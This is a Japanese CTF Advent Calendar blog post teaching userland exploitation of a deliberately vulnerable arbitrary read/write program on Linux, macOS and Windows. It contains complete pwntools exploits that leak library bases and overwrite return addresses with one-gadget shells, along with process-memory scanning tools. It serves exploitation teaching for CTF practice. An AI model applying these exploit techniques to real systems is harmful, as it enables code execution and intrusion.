各種OSのUserlandにおけるPwn入門
これは CTF Advent Calendar 2018 - Adventar の9日目の記事です .8日目は、@hamaプロの「最近のCTFで出題されるglibc heap問で個人的によく使うテクニックについて」でした.
はじめに
CTFにおけるPwnではLinuxの問題が出題されることが多いが,一部のCTFではWindowsのPwn問題が出てきており他のOSに対しても今後出題されると予想される. そこで各種OSにおいて,AAR/AAWが可能な場合にどうやってshellを立ち上げるかを紹介する.
Target program
今回のターゲットのプログラムを以下に示す.
#include <stdio.h> #include <stdint.h> #ifdef __GNUC__ #include <unistd.h> #endif const uint8_t ADDR_STR[] = "addr : "; const uint8_t COUNT_STR[] = "count : "; int main() { uint8_t choice; uint64_t addr; size_t count; while(1){ scanf("%c", &choice); if (choice == '0'){ write(1, ADDR_STR, sizeof ADDR_STR - 1); scanf("%ld", &addr); write(1, COUNT_STR, sizeof COUNT_STR - 1); scanf("%zd", &count); read(0, (void *)addr, count); } else if (choice == '1') { write(1, ADDR_STR, sizeof ADDR_STR - 1); scanf("%ld", &addr); write(1, COUNT_STR, sizeof COUNT_STR - 1); scanf("%zd", &count); write(1, (void *)addr, count); } else if (choice == '2') { return 0; } } }
Linux
環境
$ gcc -no-pie ./problem.c -o ./problem
解法
単純なLinuxのpwnなのでstackを書き換えてone gadget rceを目指す.
PIEがdisabledなので,gotからscanfのaddressをleakすることで,libcのbaseを特定する.
libcにおけるscanfのoffsetは,
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep -E "__isoc99_scanf" 000000000007bec0 T __isoc99_scanf
より,0x7bec0で,scanfのgotのアドレスは,
$ readelf -r ./problem | grep "scanf" 000000601030 000600000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0
より,0x601030である.
次に,one gadget rceのアドレスと条件を特定する.これにはdavid942j氏が公開しているone_gadgetというツールを用いた.
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
stackのreturn addressを書き換えるためには,libcからstackのアドレスを特定する必要がある.
そこで今回はlibcのenvironからstackのアドレスをリークし,return addressの場所を特定することとした.
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep environ 00000000003ee098 B __environ 00000000003ee098 V _environ 00000000003ee098 V environ
gdbでプログラムを動かし,environからリークしたアドレスとreturn addressの保存場所の差を計算する.
$ gdb -q ./problem Reading symbols from ./problem...(no debugging symbols found)...done. gdb-peda$ start gdb-peda$ p environ $1 = (char **) 0x7fffffffe538 gdb-peda$ telescope 50 0000| 0x7fffffffe440 --> 0x400770 (<__libc_csu_init>: push r15) 0008| 0x7fffffffe448 --> 0x7ffff7a05b97 (<__libc_start_main+231>: mov edi,eax) 0016| 0x7fffffffe450 --> 0x1 =========== snip ============ 0240| 0x7fffffffe530 --> 0x0 0248| 0x7fffffffe538 --> 0x7fffffffe784 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...) 0256| 0x7fffffffe540 --> 0x7fffffffed70 ("SSH_CONNECTION=10.0.2.2 57980 10.0.2.15 22") 0264| 0x7fffffffe548 --> 0x7fffffffed9b ("LESSCLOSE=/usr/bin/lesspipe %s %s") 0272| 0x7fffffffe550 --> 0x7fffffffedbd ("_=/usr/bin/gdb") =========== snip ============
よって,environ (0x7fffffffe538) - ptr_return_address (0x7fffffffe448) == 0xf0
となり,
libcからリークしたenviron - 0xf0を書き換えることでripを奪取できることがわかった.
最終的なexploitを以下に示す.
from pwn import * # context(arch = "i386", os = "linux") context(arch = "amd64", os = "linux") context.log_level = 'debug' # context.log_level = 'critical' one_gadget_offset = 0x4f2c5 scanf_offset = 0x7bec0 scanf_got_addr = 0x601030 environ_offset = 0x3ee098 def write(addr, data): p.sendline('0') p.recvuntil('addr : ') p.sendline('{0:d}'.format(addr)) p.recvuntil('count : ') p.sendline('{0:d}'.format(len(data))) p.send(data) def read(addr, count): p.sendline('1') p.recvuntil('addr : ') p.sendline('{0:d}'.format(addr)) p.recvuntil('count : ') p.sendline('{0:d}'.format(count)) return p.recvn(count) def finish(): p.sendline('2') # p = process("./problem") p = remote("localhost", 12345) scanf_got_buf = read(scanf_got_addr, 8) scanf_addr = u64(scanf_got_buf) libc_base_addr = scanf_addr - scanf_offset one_gadget_addr = libc_base_addr + one_gadget_offset libc_environ_addr = libc_base_addr + environ_offset return_ptr_addr = u64(read(libc_environ_addr, 8)) - 0xf0 write(return_ptr_addr, p64(one_gadget_addr)) finish() p.interactive() p.close()
macOS
環境
$ gcc ../problem.c -o ./problem -Wl,-no_pie
解法
Linuxと同様にsackを書き換えてone gadget rceでのshell起動を目指す.
まず,macOSにもone gadget rceが存在するのか調査した.
macOSにおいて,system, execve系の関数の実体が存在するのは,/usr/bin/nm /usr/lib/system/libsystem_c.dylib
である.
この /usr/bin/nm /usr/lib/system/libsystem_c.dylib
をIDAで開いて"/bin/sh"を利用し,execve系のsyscallを発行する場所が無いかxrefを辿ったところ,
以下の処理が見つかった.
__text:0000000000025D94 lea rdi, aBinSh ; "/bin/sh" __text:0000000000025D9B mov rsi, r14 ; char ** __text:0000000000025D9E mov rdx, [rbp+var_450] ; char ** __text:0000000000025DA5 call _execve
これは,r14 == NULL, [rbp - 0x450] == NULL
という条件のone gadget rceである.
今回のプログラムのreturn addressを書き換えてexploitが発火するタイミングで条件を満たしているため,これを用いた.
scanfもexecveと同様にlibsystem_c.dylib
に存在するため,nmコマンドを用いてoffsetを特定した.
/usr/bin/nm /usr/lib/system/libsystem_c.dylib | grep -E "T _scanf$" 0000000000042013 T _scanf
macOSにおいてgotと同様の働きをしているのは,__la_symbol_ptr
である.
ここからscanfのアドレスをリークすることでlibsystem_c.dylib
のベースアドレスを特定することが出来る.
$ otool -V -s __TEXT __stubs ./problem ./problem: Contents of (__TEXT,__stubs) section 0000000100000f5a jmpq *0xb0(%rip) ## literal pool symbol address: _read 0000000100000f60 jmpq *0xb2(%rip) ## literal pool symbol address: _scanf 0000000100000f66 jmpq *0xb4(%rip) ## literal pool symbol address: _write
$ otool -s __DATA __la_symbol_ptr ./problem ./problem: Contents of (__DATA,__la_symbol_ptr) section 0000000100001010 7c 0f 00 00 01 00 00 00 86 0f 00 00 01 00 00 00 0000000100001020 90 0f 00 00 01 00 00 00
以上から,scanfのaddressが存在するのは0x100001018である.
Linuxと同様にstackのアドレスがlibsystem_c.dylib
の周辺に存在しないか検索するプログラムを書いて調査した.
// search_mem_mac.c #include <stdio.h> #include <stdlib.h> #include <mach/mach.h> uint64_t search_mem(task_t wow, uint64_t start, uint64_t size, uint64_t min_val, uint64_t max_val) { uint64_t buffer_size = 0x10000; uint64_t bytes_read = 0; uint64_t sz; uint8_t buffer[buffer_size]; while (bytes_read <= size) { uint64_t address = start + bytes_read; pointer_t buffer_pointer; kern_return_t error = vm_read(wow, address, buffer_size, &buffer_pointer, &sz); memcpy(buffer, (const void *)buffer_pointer, sz); uint64_t buffer_position = 0; while (buffer_position <= buffer_size) { uint64_t val = *(uint64_t *)&buffer[buffer_position]; if (min_val <= val && val <= max_val) { printf("0x%016llx : 0x%016llx\n", address + buffer_position, val); } buffer_position += sizeof(uint64_t); } bytes_read += buffer_size; } return 0; } int main(int argc, char** argv) { kern_return_t kern_return; mach_port_t task; if (argc < 5) { printf("usage : %s pid addr size min_val max_val\n", argv[0]); return 1; } uint64_t pid = strtoull(argv[1], NULL, 0); uint64_t addr = strtoull(argv[2], NULL, 0); uint64_t size = strtoull(argv[3], NULL, 0); uint64_t min_val = strtoull(argv[4], NULL, 0); uint64_t max_val = strtoull(argv[5], NULL, 0); kern_return = task_for_pid(mach_task_self(), pid, &task); if (kern_return != KERN_SUCCESS) { printf("task_for_pid() failed, error %d - %s", kern_return, mach_error_string(kern_return)); exit(1); } unsigned int ptr = search_mem(task, addr, size, min_val, max_val); return 0; }
プログラムの実行時のメモリマップは以下の通りだった.
$ vmmap problem Process: problem [2816] ==================== snip ==================== __TEXT 00007fff7254e000-00007fff725d7000 [ 548K 484K 0K 0K] r-x/r-x SM=COW /usr/lib/system/libsystem_c.dylib ==================== snip ==================== ==== Writable regions for process 2816 REGION TYPE START - END [ VSIZE RSDNT DIRTY SWAP] PRT/MAX SHRMOD PURGE REGION DETAIL __DATA 0000000100001000-0000000100002000 [ 4K 4K 4K 0K] rw-/rwx SM=COW /Volumes/sd/-work/adventar/macos/problem Kernel Alloc Once 0000000100003000-0000000100005000 [ 8K 4K 4K 0K] rw-/rwx SM=PRV MALLOC metadata 0000000100006000-0000000100007000 [ 4K 4K 4K 0K] rw-/rwx SM=ZER MALLOC metadata 0000000100008000-000000010000c000 [ 16K 12K 12K 0K] rw-/rwx SM=ZER MALLOC metadata 000000010000e000-0000000100012000 [ 16K 12K 12K 0K] rw-/rwx SM=PRV __DATA 00000001001c0000-00000001001c5000 [ 20K 20K 20K 0K] rw-/rwx SM=COW /usr/lib/dyld __DATA 00000001001c5000-00000001001f9000 [ 208K 32K 32K 0K] rw-/rwx SM=PRV /usr/lib/dyld MALLOC_TINY 0000000100300000-0000000100400000 [ 1024K 20K 20K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x100005000 MALLOC_TINY (empty) 0000000100400000-0000000100500000 [ 1024K 12K 12K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x100005000 MALLOC_SMALL 0000000100800000-0000000101800000 [ 16.0M 12K 12K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x100005000 Stack 00007ffeef400000-00007ffeefc00000 [ 8192K 20K 20K 0K] rw-/rwx SM=PRV thread 0 __DATA 00007fffa4ad0000-00007fffa4ad1000 [ 4K 4K 0K 0K] rw-/rwx SM=COW /usr/lib/libSystem.B.dylib ==================== snip ==================== __DATA 00007fffa532f000-00007fffa5336000 [ 28K 28K 12K 0K] rw-/rwx SM=COW /usr/lib/system/libxpc.dylib
libsystem_c.dylib
の周辺のrwな領域において,stackのアドレスを含む場所を検索したところ,4箇所見つかった.
$ gcc search_mem_mac.c -o search_mem_mac $ sudo ./search_mem_mac `pgrep problem` 0x00007fffa4ad0000 0x866000 0x00007ffeef400000 0x00007ffeefc00000 0x00007fffa5300cf0 : 0x00007ffeefbff888 0x00007fffa5300cf8 : 0x00007ffeefbff898 0x00007fffa5300d00 : 0x00007ffeefbff9da 0x00007fffa5312c38 : 0x00007ffeefbff898
これらがどういった変数なのか調査した.
$ lldb problem (lldb) target create "problem" Current executable set to 'problem' (x86_64). (lldb) b main Breakpoint 1: where = problem`main, address = 0x0000000100000e00 (lldb) r (lldb) image lookup -a 0x00007fffa5300cf0 Address: libdyld.dylib[0x0000000000032cf0] (libdyld.dylib.__DATA.__common + 16) Summary: libdyld.dylib`NXArgv (lldb) image lookup -a 0x00007fffa5300cf8 Address: libdyld.dylib[0x0000000000032cf8] (libdyld.dylib.__DATA.__common + 24) Summary: libdyld.dylib`environ (lldb) image lookup -a 0x00007fffa5300d00 Address: libdyld.dylib[0x0000000000032d00] (libdyld.dylib.__DATA.__common + 32) Summary: libdyld.dylib`__progname (lldb) image lookup -a 0x00007fffa5312c38 Address: libsystem_c.dylib[0x0000000000091c38] (libsystem_c.dylib.__DATA.__common + 96) Summary: libsystem_c.dylib`_saved_environ
今回はlibsystem_c.dylib
の_saved_environ
を用いた.
_saved_environのオフセットは,
0x00007fffa5312c38 - 0x00007fff7254e000 == 0x32dc4c38
より,0x32dc4c38である.
最終的なexploitを以下に示す.
from pwn import * # context(arch = "i386", os = "linux") context(arch = "amd64", os = "linux") context.log_level = 'debug' # context.log_level = 'critical' one_gadget_offset = 0x25D94 scanf_offset = 0x42013 scanf_got_addr = 0x100001018 environ_offset = 0x32dc4c38 def write(addr, data): p.sendline('0') p.recvuntil('addr : ') p.sendline('{0:d}'.format(addr)) p.recvuntil('count : ') p.sendline('{0:d}'.format(len(data))) p.send(data) def read(addr, count): p.sendline('1') p.recvuntil('addr : ') p.sendline('{0:d}'.format(addr)) p.recvuntil('count : ') p.sendline('{0:d}'.format(count)) return p.recvn(count) def finish(): p.sendline('2') # p = process("./problem") p = remote("localhost", 12345) scanf_got_buf = read(scanf_got_addr, 8) scanf_addr = u64(scanf_got_buf) libsystemc_base_addr = scanf_addr - scanf_offset one_gadget_addr = libsystemc_base_addr + one_gadget_offset libc_environ_addr = libsystemc_base_addr + environ_offset return_ptr_addr = u64(read(libc_environ_addr, 8)) - 0x30 write(return_ptr_addr, p64(one_gadget_addr)) finish() p.interactive() p.close()
Windows
環境
cl.exe .\problem.c /Zi /link /dynamicbase:no
解法
stackを書き換えてropに落とし込むことを目指す.
まず既知のアドレスのメモリにdllのポインタが存在しないか調査した.
検索するプログラムを以下に示す.
// search_mem_win.c #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <windows.h> void search_mem(HANDLE process, uint64_t start, uint64_t size, uint64_t min_val, uint64_t max_val) { uint64_t buffer_size = 0x1000; uint64_t bytes_read = 0; uint64_t sz; uint8_t* buffer; MEMORY_BASIC_INFORMATION mbi; while (bytes_read <= size) { uint64_t address = start + bytes_read; size_t size = VirtualQueryEx(process, (void*)address, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); if (size == 0) { break; } if ((mbi.State == MEM_COMMIT) || (mbi.Type == MEM_PRIVATE) || (mbi.Protect == PAGE_READWRITE)) { buffer = (uint8_t *)malloc(sizeof(uint8_t) * mbi.RegionSize); BOOL res = ReadProcessMemory(process, (void *) address, buffer, mbi.RegionSize, NULL); if (res == 0){ bytes_read += mbi.RegionSize; continue; } uint64_t buffer_position = 0; while (buffer_position <= mbi.RegionSize) { uint64_t val = *(uint64_t *)&buffer[buffer_position]; if (min_val <= val && val <= max_val) { printf("0x%016llx : 0x%016llx\n", address + buffer_position, val); } buffer_position += sizeof(uint64_t); } } bytes_read += mbi.RegionSize; } } int main(int argc, char** argv) { HANDLE process; if (argc < 5) { printf("usage : %s pid addr size min_val max_val\n", argv[0]); return 1; } uint64_t pid = strtoull(argv[1], NULL, 0); uint64_t addr = strtoull(argv[2], NULL, 0); uint64_t size = strtoull(argv[3], NULL, 0); uint64_t min_val = strtoull(argv[4], NULL, 0); uint64_t max_val = strtoull(argv[5], NULL, 0); process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD) pid);; if (process == NULL) { printf("OpenProcess failed"); exit(1); } search_mem(process, addr, size, min_val, max_val); return 0; }
プログラムを動作させた状態のメモリマップを以下に示す.
> cl.exe search_mem_win.c > search_mem_win.exe 4000 0x140000000 0x100000 0x7ff4fdea0000 0x7fff00000000 0x0000000140099218 : 0x00007ffe82b70000 0x0000000140099220 : 0x00007ffe82b70000 0x0000000140099f68 : 0x00007ffe82b70000 0x0000000140099f78 : 0x00007ffe82b70000 0x0000000140099f98 : 0x00007ffe82b70000 0x0000000140099fe0 : 0x00007ffe858e0000
これらはmodule_handles
として用いられている.
.data:0000000140099218 module_handles dq ? ; DATA XREF: try_get_first_available_module+30↑r .data:0000000140099218 ; try_get_first_available_module+C4↑w ... .data:0000000140099220 dq ?
.data:0000000140099F60 module_handles_0 dq ? ; DATA XREF: try_get_first_available_module_0+30↑r .data:0000000140099F60 ; try_get_first_available_module_0+C4↑w ... .data:0000000140099F68 align 100h
よって以下のメモリをリークすることでdllのベースアドレスを特定することが出来る.
0x0000000140099218 : 0x00007ffe82b70000 --- KernelBase.dll 0x0000000140099fe0 : 0x00007ffe858e0000 --- kernel32.dll
次にstackを特定するために,stackのアドレスが存在するheapのベースアドレスを特定する.
heapのアドレスが既知のアドレスのメモリに存在しないか調査した.
> search_mem.exe 4000 0x140000000 0x100000 0x450000 0x45d000 0x0000000140085880 : 0x0000000000450054 0x000000014008a820 : 0x0000000000450050 0x000000014008a930 : 0x0000000000450053 0x000000014008aa00 : 0x0000000000450053 0x0000000140098060 : 0x000000000045b4a0 0x0000000140098068 : 0x000000000045b4a0 0x0000000140098528 : 0x00000000004563a0 0x0000000140099300 : 0x000000000045a490 0x0000000140099e58 : 0x00000000004566e0 0x0000000140099e80 : 0x00000000004566e0 0x0000000140099ec0 : 0x0000000000453320 0x0000000140099ee0 : 0x00000000004535f0 0x0000000140099ef0 : 0x0000000000452602 0x000000014009a180 : 0x0000000000455190 0x000000014009a680 : 0x00000000004563a0 0x000000014009a960 : 0x0000000000450000
__acrt_heap
をリークすることでheapのベースアドレスを特定することができた.
.data:000000014009A960 __acrt_heap dq 450000h ; DATA XREF: _calloc_base:loc_140057E0E↑r .data:000000014009A960 ; select_heap↑r ...
次にheap baseからstack baseをリークすることを目指す.
heapの中にstackのアドレスを含むものが存在しないか調査した.
> search_mem.exe 4000 0x450000 0xd000 0x14a000 0x150000 0x0000000000457098 : 0x000000000014fd60 0x0000000000457118 : 0x000000000014fde0
ここで,heap baseから固定のオフセットに存在するstackのアドレスが見つからなかった.
heapからstackのアドレスとして可能性のあるものとその周辺のメモリを探索することで特定可能である.
これの他にTIBからstack baseをleakする方法も存在するが,TIBのアドレスはfsレジスタから読み込む以外に取得する方法が存在しないため,今回のtargetでは難しい.
特定したstackを書き換え,ROPに持ち込んでkernel.dllのWinExec関数を呼び出せば任意のプログラムが実行できる.
実際のexploitは時間がないため読者の課題とする.
まとめ
時間に余裕があれば他のOSについても解いて記事を更新する所存です.
次回のCTF Advent Calendarは12/12の,@xrekkusuプロによる「WebAssembly解いてみる」です.